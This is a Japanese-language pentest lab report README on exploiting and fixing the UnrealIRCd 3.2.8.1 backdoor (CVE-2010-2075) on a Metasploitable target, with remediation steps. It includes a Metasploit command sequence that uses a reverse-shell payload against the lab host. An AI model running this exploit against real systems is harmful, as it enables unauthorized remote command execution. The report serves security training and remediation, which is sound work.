
Metasploitable3上のUnrealIRCd 3.2.8.1バックドア(CVE-2010-2075)に関する管理されたPenTestラボレポート(修復手順付き)
隔離されたトレーニング環境における UnrealIRCd 3.2.8.1 バックドア (CVE-2010-2075) の特定、悪用、および是正に焦点を当てた、管理されたペネトレーションテストプロジェクトです。
免責事項: このプロジェクトは、意図的に脆弱性を持たせたラボ環境に対して、教育目的および許可されたセキュリティテスト目的のみで実施されました。無許可のシステムは対象にしていません。
このプロジェクトは、脆弱な UnrealIRCd 3.2.8.1 サービスに対する完全な脆弱性評価および悪用ワークフローを示しています。
この評価には以下が含まれます:
| 項目 | 詳細 |
|---|---|
| ターゲット | Metasploitable ラボ環境 |
| ターゲット IP | 10.10.10.13 |
| 脆弱なサービス | UnrealIRCd |
| バージョン | 3.2.8.1 |
| プロトコル | IRC |
| ポート | 6667/TCP |
| 脆弱性 | UnrealIRCd バックドア |
| CVE | CVE-2010-2075 |
| 深刻度 | Critical |
NIST の National Vulnerability Database によると、影響を受ける UnrealIRCd 3.2.8.1 ディストリビューションには、リモートの攻撃者が任意のコマンドを実行できる可能性のある外部から導入された改変が含まれていました。
この評価の主な目的は次のとおりです:
この評価では、簡略化されたペネトレーションテストのワークフローに従いました:
Reconnaissance
↓
Service Enumeration
↓
Vulnerability Identification
↓
Exploitation
↓
Evidence Collection
↓
Impact Assessment
↓
Remediation
↓
Verification
最初の段階は、ターゲットホスト上の公開サービスを特定することでした。
この評価では、以下で待ち受ける IRC サービスが特定されました:
TCP/6667
このサービスは UnrealIRCd 3.2.8.1 に関連付けられており、バックドア脆弱性の影響を受けることが知られているバージョンです。

図 1 — ポートおよびサービス列挙
TCP/6667 の発見は、IRC サービスが公開されており、さらなる調査が必要であるという最初の兆候となりました。
特定された UnrealIRCd バージョンは CVE-2010-2075 に関連付けられていました。
この脆弱性は単なる従来のソフトウェアバグではありません。影響を受けるアーカイブには、リモートコマンド実行を可能にする悪意のある改変/バックドアが含まれていました。NVD はこの問題を、DEBUG3_DOLOG_SYSTEM マクロに外部から導入されたトロイの木馬として説明しています。
Rapid7 の Metasploit ドキュメントでは、対応するモジュールを次のように特定しています:
exploit/unix/irc/unreal_ircd_3281_backdoor
また、影響を受ける UnrealIRCd 3.2.8.1 アーカイブに存在する悪意のあるバックドアを悪用するものとして説明しています。
この脆弱性は、Metasploit Framework を使用して隔離されたラボ環境で検証されました。
悪用ワークフローの例:
msfconsole
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 10.10.10.13
set PAYLOAD cmd/unix/reverse
run
このステップの目的は、公開されたサービスがリモートコマンド実行を得るために悪用される可能性があるかどうかを検証することでした。
Rapid7 はこの Metasploit モジュールを UnrealIRCd 3.2.8.1 バックドア専用として文書化しています。

図 2 — 管理された悪用の証拠
この証拠は、許可されたラボターゲットに対して実行された悪用段階を示しています。
バックドアの悪用が成功すると、攻撃者は影響を受ける UnrealIRCd プロセスのセキュリティコンテキストでリモートにコマンドを実行する能力を得る可能性があります。
取得される正確な権限は、IRC デーモンが実行されているアカウントによって異なります。
潜在的な影響には以下が含まれます:
重要: 潜在的な影響は、記載されているすべての行為がこの評価中に実行されたという証拠として解釈されるべきではありません。
UnrealIRCd バックドアに関する Nmap のドキュメントは、この脆弱性がリモートシステム上で任意のコマンドを実行するために使用される可能性があることを確認しています。
脆弱な UnrealIRCd インストールは、本番環境で公開されたままにすべきではありません。
推奨される是正措置には以下が含まれます:
IRC が不要な場合:
sudo ufw deny 6667/tcp
サービスが必要な場合は、広く公開するのではなく、信頼できるネットワークにアクセスを制限する必要があります。
推奨されるアプローチは、ネットワークフィルタリングのみに依存するのではなく、脆弱なソフトウェアを削除し、サポートされている信頼できるリリースを展開することです。
是正段階は、適切なセキュリティ管理を適用した後に文書化されました。

図 3 — 是正/堅牢化の証拠
是正の証拠は、是正措置が適用された後のサービスおよび/またはファイアウォール設定の状態を示す必要があります。
このバックドアはリモートコマンド実行を可能にするように設計されており、通常の IRC ユーザー制限とは独立して動作する可能性があるため、脆弱なサービスの公開は重大なセキュリティリスクとなります。
unrealircd-backdoor-pentest-report/
│
├── README.md
├── UnrealIRCD_Backdoor_PenTest_Report.pdf
│
└── images/
├── port_scan.png
├── exploit_evidence.png
└── remediation.png
| 証拠 | 説明 |
|---|---|
port_scan.png | 公開された IRC サービスの発見 |
exploit_evidence.png | 管理された悪用の証拠 |
remediation.png | 是正後のセキュリティ/堅牢化の証拠 |
この評価は、ペネトレーションテストのいくつかの重要な概念を示しています:
NIST National Vulnerability Database — CVE-2010-2075
CVE の詳細と脆弱性の説明。
Rapid7 Vulnerability Database — UnrealIRCd 3.2.8.1 Backdoor Command Execution
Metasploit モジュールのドキュメントと技術的詳細。
Rapid7 Metasploit Framework — UnrealIRCd Backdoor Module
公式 Metasploit モジュールの実装。
Nmap NSE Documentation — irc-unrealircd-backdoor
UnrealIRCd バックドアを検出するためのドキュメント。
このリポジトリは、管理された環境におけるサイバーセキュリティ教育、許可されたペネトレーションテスト、およびセキュリティ研究のみを目的としています。
このプロジェクトで示される技術は、明示的な許可が得られたシステムに対してのみ使用しなければなりません。
所有していない、またはテストする許可がないシステムに対してこれらの技術を使用しないでください。
| ツール | 目的 |
|---|
| Nmap | ポートスキャンおよびサービス列挙 |
| Netcat | TCP サービス接続テスト |
| Metasploit Framework | 管理された悪用 |
| Linux CLI | システム検証と堅牢化 |
| UFW | ファイアウォール設定 |
| Python | セキュリティ/テストタスクの補助 |
| カテゴリ | 評価 |
|---|
| 脆弱性 | UnrealIRCd 3.2.8.1 バックドア |
| CVE | CVE-2010-2075 |
| 攻撃ベクトル | ネットワーク |
| 認証の必要性 | バックドアのトリガーに認証は不要 |
| ユーザー操作 | 不要 |
| 影響 | リモートコマンド実行 |
| 深刻度 | Critical |